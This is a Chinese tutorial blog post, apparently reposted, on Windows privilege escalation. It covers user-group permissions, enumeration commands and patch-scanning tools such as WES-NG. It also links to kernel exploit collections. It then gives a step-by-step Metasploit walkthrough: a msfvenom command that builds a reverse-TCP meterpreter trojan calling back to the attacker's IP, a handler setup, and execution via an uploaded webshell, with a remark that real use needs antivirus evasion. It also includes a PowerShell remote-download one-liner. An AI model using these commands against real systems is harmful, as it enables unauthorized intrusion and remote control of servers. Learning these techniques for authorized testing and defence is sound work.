02-权限提升-Win溢出漏洞及ATSCPS提权

news2024/9/17 7:13:25

权限提升-Win溢出漏洞及AT&SC&PS提权

思维导图

明确权限提升基础知识:权限划分

明确权限提升环境问题:web及本地

  • web提权:已有网站权限(可以操作网站内容,但无法操作服务器),想要获得服务器权限,进而操作服务器。
  • 本地提权:已有服务器普通用户权限,想要获得root权限。

明确权限提升方法针对:针对方法适应问题

明确权限提升针对版本:个人及服务器版本;针对方法;

知识点必备:

  • 用户及用户组权限划分;Windows提权命令

一、windows权限认识(用户及用户组)

Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。只要用户账户加入到这些本地组内,这些用户账户也将具备该组所拥有的权限。

0x01 普通权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(Power Users)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)。其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。

管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users) 经过ms验证程序登录的用户均属于此组。

0x02特殊权限

除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者) 等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。
  真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。
  “所有人”权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限——任何人都能正常访问被赋予“Everyone”权限的文件,包括来宾组成员。
  被标记为“创建者”权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。
  但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。
  无论是普通权限还是特殊权限,它们都可以“叠加”使用,“叠加”就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组再加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。

二、Windows命令:

命令                          //描述
systeminfo          //打印系统信息
whoami              //获得当前用户名
whoami /priv          //当前账户权限
ipconfig               //网络配置信息
ipconfig /displaydns        //显示DNS缓存
route print                 //打印出路由表
arp -a                      //打印arp表
hostname                    //主机名
net user                    //列出用户
net user UserName           //关于用户的信息
net user \SMBPATH Pa$$w0rd /u:UserName      //连接SMB
net localgroup              //列出所有组
net localgroup GROUP        //关于指定组的信息
net view \127.0.0.1         //会话打开到当前计算机
net session                 //开发给其他机器
netsh firewall show config  //显示防火墙配置
DRIVERQUERY               //列出安装的驱动
tasklist /svc               //列出服务任务
net start                   //列出启动的服务
dir /s foo                  //在目录中搜索包含指定字符的项
dir /s foo == bar           //同上
sc query                    //列出所有服务
sc qc ServiceName           //找到指定服务的路径
shutdown /r /t 0            //立即重启
type file.txt               //打印出内容
icacls "C:\Example"         //列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn  //列出已安装的补丁
(New-Object System.Net.WebClient) .DownloadFile("http://host/file"."C:\LocalPath") //利用ps远程下载文件到本地
accesschk.exe -qwsu "Group"         //修改对象(尝试Everyone,Authenticated Users和/或Users)

借助syteminfo()可以打印web层面漏洞补丁

案例1:基于Web环境下的权限提升-阿里云靶机(Windows2012)

知识点:

  • 如何判断使用哪种溢出漏洞?漏洞哪里找?
  • 信息收集-补丁筛选-利用MSF或特定EXP-执行-西瓜到手
  • Vulmap,Wes,WindowsVulnScan对比,exp在哪里获取?
  • MSF结合云服务器搭建组合拳?模拟上述操作实战演练?

1、信息收集

可以采用一些cmd命令,收集系统信息。比如

  • whoami:获得当前用户名

  • whoami /priv:当前账户权限

  • systeminfo:查看系统打了哪些补丁

  • net user:列出用户

  • net user UserName:查看关于用户的信息

  • net localgroup:列出所有组

  • 等等

2、systeminfo获取补丁后如何筛选

工具Vulmap,Wes,WindowsVulnScan三种方法对比:

方法1:Vulmap

下载地址:

https://github.com/vulmon/Vulmap

Vulmap是开源的在线本地漏洞扫描器项目。Vulmap需要在powerShell窗口运行,因此它只适用本地环境,不适用web环境。适用于 Windows 和 Linux 操作系统漏洞。但是它对Windows系统不太友好,更适配Linux系统。比如,下面在阿里云服务器测试,未检测出漏洞。

方法2:WES-NG

下载地址:https://github.com/bitsadmin/wesng

WES-NG是一种基于 Windows systeminfo 实用程序输出的工具,它提供操作系统易受攻击的漏洞列表,包括对这些漏洞的任何利用。适用于 Windows 操作系统。

wes.py 既适用本地环境,也适用web环境。因为它只需要我们在目标服务器执行systeminfo > 1.txt命令,拿到系统信息(主要是补丁信息)即可,然后我们可以把信息保存在 1.txt文件中,在本机运行wes.py进行测试即可。

下面命令会把漏洞详情保存在vuln.csv文件。

目标服务器执行命令:systeminfo > 1.txt
本机执行命令:python wes.py 1.txt -o vuln.csv

image-20230504101323757

方法3:WindowsVulnScan

下载地址:

https://github.com/chroblert/WindowsVulnScan

WindowsVulnScan根据软件的名称和版本号来确定是否有 CVE 和公开的 EXP。适用于 Windows 操作系统。

WindowsVulnScan 前期收集补丁信息时也需要在PS窗口运行,因此只适用于本地环境。但是我们也可以对其进行一些小的修改,让它可以用于web环境。所以也可以说它是一个通用方法。

功能:

  • 查找主机上具有的CVE
  • 查找具有公开EXP的CVE

参数:

# author: JC0o0l
# GitHub: https://github.com/chroblert/
可选参数:
  -h, --help            show this help message and exit
  -u, --update-cve      更新CVEKB数据
  -U, --update-exp      更新CVEEXP数据
  -m MODE, --mode MODE  搭配-U使用。更新模式 All:更新所有;Empty:只更新空白的;Error:只更新之前未成功更新的
  -C, --check-EXP       检索具有EXP的CVE
  -n PRODUCTNAME, --productName PRODUCTNAME
                        搭配-C使用。自定义产品名称,如Windows 10
  -N PRODUCTVERSION, --productVersion PRODUCTVERSION
                        搭配-C使用。自定义产品版本,如20H2
  -f FILE, --file FILE  ps1脚本运行后产生的.json文件

实例:

1.比如第一步运行KBCollect.ps1收集补丁信息,会自动创建KB.json文件。

img

然后运行如下命令得到exp信息。

python cve-check.py -C -f KB.json

imgimage-20230504102909399

3、cve漏洞利用

利用MSF或特定EXP提权

利用上述3种方法之一找出可利用的漏洞之后,我们可以利用msf或者特定exp进行测试。

首选msf工具,但是msf工具是隔一段时间才会更新一版,因此msf中的漏洞可能更新不及时,如果遇到了msf没有收录的漏洞,我们可以网上搜索特定的exp测试,比如GitHub上有人整理了很多exp,可以搜索一下。

  • https://github.com/SecWiki/windows-kernel-exploits
  • https://github.com/unamer/CVE-2018-8120

在校园网内,禁止使用路由器之类的,所以就导致自己本地虚拟机环境出现各种各样的网络问题,解决起来过于繁琐,为此在服务器上安装MSF

安装参考教程:(58条消息) 云服务器部署msf生成windows木马远程攻击个人主机_____CC____的博客-CSDN博客

云服务器上安装MSF环境 - M0rta1s - 博客园 (cnblogs.com)

msf提权演示案例:

<1> .生成一个名为muma.exe的windows系统exe木马程序,lhost绑定攻击者的ip地址,lport绑定攻击者接收会话的端口号。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(你的公网IP) LPORT=5544 -f exe -o /root/muma.exe

image-20230504172716239

<2>通过webshell上传这个test.exe文件到服务器(test.exe可能会被服务器上的waf识别,所以实战中需要免杀)

输入use exploit/multi/handler 使用监听模块
输入set payload windows/meterpreter/reverse_tcp 设置tcp监听攻击载荷
输入set lhost 0.0.0.0 设置攻击者ip,这里直接0.0.0.0就行
输入set lport 5544 设置攻击者监听ip,与木马绑定的一致5544

<3> 最后show options 看一下设置有没成功
执行run,开始监听5544端口

image-20230504175649311

<5>通过webshell执行这个muma.exe的木马程序,成功返回会话

0

image-20230504175819067

<6>监听到会话,如上上图所示(注意:阿里云服务器安全组默认没有开5566端口,所以我们需要手动打开)

<7>查看,拿到服务器的web权限

image-20230504175925895

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/489233.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【软考中级】2022下半年软件设计师综合知识真题与答案

1、以下关于R1SC(精简指令集计算机)特点的叙述中&#xff0c;错误的是()。 A.对存储器操作进行限制&#xff0c;使控制简单化 B.指令种类多&#xff0c;指令功能强 C.设置大量通用寄存器 D.选取使用频率较高的一些指令&#xff0c;提高执行速度 参考答案&#xff1a;B 2、…

Qt6之KDE框架

25年来&#xff0c;KDE社区一直在使用Qt开发各种自由软件产品。其中包括Plasma桌面环境&#xff0c;像Krita和Kdenlive这样的创意工具&#xff0c;像GCompris这样的教育应用程序&#xff0c;像Kontact这样的群件套件以及无数其他应用程序&#xff0c;实用程序和小部件。 Qt以其…

Shell+VCS学习3---VCS命令

1 VCS介绍 VCS的功能可以大致分为两个大类&#xff1a;编译和仿真。 VCS编译的过程&#xff0c;就是经过一系列的操作&#xff0c;将verilog代码转换为可执行文件&#xff08;.svim&#xff09;&#xff0c;接下来就是用dve进行仿真过程生成.vpd波形文件。 VCS是编译型verilo…

C++---树形DP---树的最长路径(每日一道算法2023.5.4)

注意事项&#xff1a; 本题为"树与图的DFS深度优先遍历—树的重心"的近似题&#xff0c;同时涉及到 单链表模拟邻接表存储图 的操作&#xff0c;建议先理解那篇文章。 题目&#xff1a; 给定一棵树&#xff0c;树中包含 n 个结点&#xff08;编号1~n&#xff09;和 …

JavaScript:栈和对列

文章目录 栈和对列Js 有栈与队列吗20. 有效的括号 - 力扣&#xff08;LeetCode&#xff09;思路 1047. 删除字符串中的所有相邻重复项 - 力扣&#xff08;LeetCode&#xff09;思路代码分析array.join() 操作打印const s of str 操作遍历 150. 逆波兰表达式求值 - 力扣&#xf…

(1)QT基础铺垫

目录 1.Qt特性 2. 新建项目 3. 工作目录与构建目录 4. 工作目录 4.1 .pro 项目配置文件 4.2 dialog.h 4.3 dialog.cpp 4.4 main.cpp 5. 帮助文档 6. 调试信息 1.Qt特性 Qt经常被当作是一个基于c语言的gui开发框架&#xff0c;但是这并不是qt的全部&#xff0c;除了开…

助力工业物联网,工业大数据之ODS层构建:申明分区代码及测试【十】

文章目录 知识点13&#xff1a;ODS层构建&#xff1a;申明分区代码及测试知识点14&#xff1a;ODS层与DWD层区别知识点15&#xff1a;DWD层构建&#xff1a;需求分析知识点16&#xff1a;DWD层构建&#xff1a;建库实现测试知识点17&#xff1a;DWD层构建&#xff1a;建表实现测…

Packet Tracer – 研究 VLAN 实施

Packet Tracer – 研究 VLAN 实施 地址分配表 设备 接口 IP 地址 子网掩码 默认网关 S1 VLAN 99 172.17.99.31 255.255.255.0 不适用 S2 VLAN 99 172.17.99.32 255.255.255.0 不适用 S3 VLAN 99 172.17.99.33 255.255.255.0 不适用 PC1 NIC 172.17.10.2…

Linux部署Gitlab/上传项目

一、提前准备 1.1安装依赖工具 yum install -y curl policycoreutils-python openssh-serversystemctl start sshd systemctl enable sshd 1.2安装Postfix邮件服务器 #安装 postfix yum install -y postfix#启动 postfix 并设置为开机启动 systemctl enable postfix systemctl …

HashCode与String大家庭

当金钱站起来说话时&#xff0c;所有的真理都保持了沉默&#xff1b;金钱一旦作响&#xff0c;坏话随之戛然而止。 Hashcode的作用 java的集合有两类&#xff0c;一类是List&#xff0c;还有一类是Set 前者有序可重复&#xff0c;后者无序不重复。当我们在set中插入的时候怎…

Vue传参${id}变成$%7Bid%7D

发生缘由 外卖项目在Linux服务器上面运行发送请求乱码 运行环境 电脑系统&#xff1a;win10jdk版本&#xff1a;jdk-8SpringBoot版本&#xff1a;v2.4.5MP版本&#xff1a;3.4.2Vue版本&#xff1a;Vue.js v2.6.12Linux版本&#xff1a;Centos7 报错信息 // 修改页面反查详…

MES系统中的BOM为何如此重要?先进的BOM体系怎么构建?

其实不管有没有数字化&#xff0c;BOM都是制造企业的灵魂纽带&#xff0c;对于产品繁多、流程冗长的工业企业来说&#xff0c;如果BOM管理不规范&#xff0c;必然对生产效率和产品质量带来巨大的隐患&#xff0c;因此在工业企业的数字化转型之路中&#xff0c;建立科学规范的BO…

Blender 建模练习-锁链

目录 1.1.1 贝塞尔圆1.2 阵列修改器1.3 阵列修改器 物体偏移1.4 添加贝塞尔曲线1.5 曲线修改器 1. 本次练习主要使用到阵列修改器、贝塞尔曲线、空物体 1.1 贝塞尔圆 把贝塞尔圆进行缩放&#xff0c;然后在物体数据属性|几何数据|倒角|设置倒角深度为0.05 1.2 阵列修改器 …

【数据结构】二叉树(详细)

二叉树 1.树1.1定义1.2基本术语1.3树形结构和线性结构1.4树的存储结构1.4.1双亲表示法1.4.2孩子兄弟表示法 2.二叉树2.1定义2.2特殊二叉树2.3性质2.4存储结构2.4.1顺序存储2.4.2链式存储结构 3.二叉树的基本操作3.1前序遍历&#xff08;先序遍历&#xff09;3.2中序遍历3.3后序…

开放原子训练营(第三季)inBuilder低代码开发实验室---报销单录入系统

作为一名低代码初学者&#xff0c;我使用inBuilder系统设计了一款报销单录入系统&#xff0c;实现了报销单录入与显示报销单列表的功能&#xff08;如图1与图2所示&#xff09;&#xff0c;并获得了很多开发心得。从inBuilder系统的优点、缺点以及开发过程三方面出发&#xff0…

go继承nacos配置中心并读取配置信息

配置中心 为什么需要配置中心 平时我们写一个demo的时候&#xff0c;或者说一个单体的应用&#xff0c;都会有一个配置文件&#xff0c;不管是 json文件或者yaml文件&#xff0c;里面包含了redis,mysql,es等信息&#xff0c;如果我们修改了配置文件&#xff0c;往往我们需要重…

和Ai一起学习CMake(一)

和Ai一起学习CMake 现在人工智能爆火&#xff0c;ChatGPT、new bing等层出不穷。我们借助Ai来学习一下CMake。下面是我与Ai的问答&#xff0c;这个学习主要是通过Ai来学习&#xff0c;但是防止Ai乱说话&#xff0c;我会结合自身的知识和实际操作给出相应的补充。 我的环境如下…

玄子Share - Tomcat 9 安装配置教程(含安装包)

玄子Share - Tomcat 9 安装配置教程&#xff08;含安装包&#xff09; 下载 下载链接 官网 https://tomcat.apache.org/ 下载教程 进入 Tomcat 官网&#xff0c;点击左侧导航栏&#xff0c;选择需要的版本下载。这里按照课程要求选择tomcat 9的版本 Mirrors&#xff1a;选…

为什么越来越多的企业开始选择云计算?

一、前言 随着数字化时代的到来&#xff0c;企业对于数据的需求越来越大&#xff0c;而传统的数据存储方式已经无法满足企业的需求。云计算作为一种新兴的技术&#xff0c;可以为企业提供更加灵活、高效、安全的数据存储和处理方式&#xff0c;因此越来越多的企业开始选择云计算…

element ui el-calendar日历组件使用总结

el-calendar日历组件使用总结 1. 需求说明2. 基础实现3. 只展示当月数据4. 动态切换日历里的数据实现5. 顺便把快捷方式隐藏了&#xff0c;不让用户选择上一个月下一个月 1. 需求说明 按月显示&#xff0c;每次只显示一个月的日期&#xff0c;其余隐藏 日历组件的显示时间随着…